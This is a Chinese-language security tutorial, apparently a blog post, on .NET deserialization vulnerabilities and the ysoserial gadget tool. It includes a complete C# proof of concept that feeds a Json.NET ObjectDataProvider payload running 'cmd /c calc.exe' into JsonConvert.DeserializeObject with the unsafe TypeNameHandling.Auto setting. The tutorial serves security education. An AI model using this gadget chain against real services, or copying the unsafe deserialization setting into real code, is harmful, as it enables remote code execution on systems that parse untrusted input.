今天要講的是 .NET Deserialization 的 exploit,這是一個非常經典的漏洞利用方式。在許多漏洞研究報告都能看到這個技巧被使用。
Deserialization 的意思就是將物件導向程式中的物件以某種靜態的資料型態儲存,像是 byte array。Deserialization Exploit 通常會發生在物件導向程式的設計上有瑕疵,導致在轉換資料格式時,觸發非預期的程式執行。而這種漏洞通常是發生在 Library 上,像是 yaml, json, xml 等格式的轉換都有發生 Deserialization Exploit 的案例。這種漏洞也不只是 .NET 會有,像是 Python, Java 等都有 Deserialization 類型的漏洞。
在 .NET Deserialization 中,常常會使用到 ysoserial 這個專案,可以把他想像成 .NET 中的 ROPgadget 或 ropper 這樣的工具。
ysoserial 可以用來產生多種不同 gadget 串聯的 payload,gadget 的挑選會依照被攻擊的程式而有所不同。
下面圖片是使用 ObjectDataProvider
的 gadget 並且對應到的 library 是 Json.Net
並執行 calc.exe
。
在 Visual Studio 的 Package Manager 安裝 Json.Net
將 ysoserial 產出的 payload 使用 JsonConvert.DeserializeObject 解析,便會成功觸發 payload 的行為。
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
下一篇我要介紹的是 Exception Handler!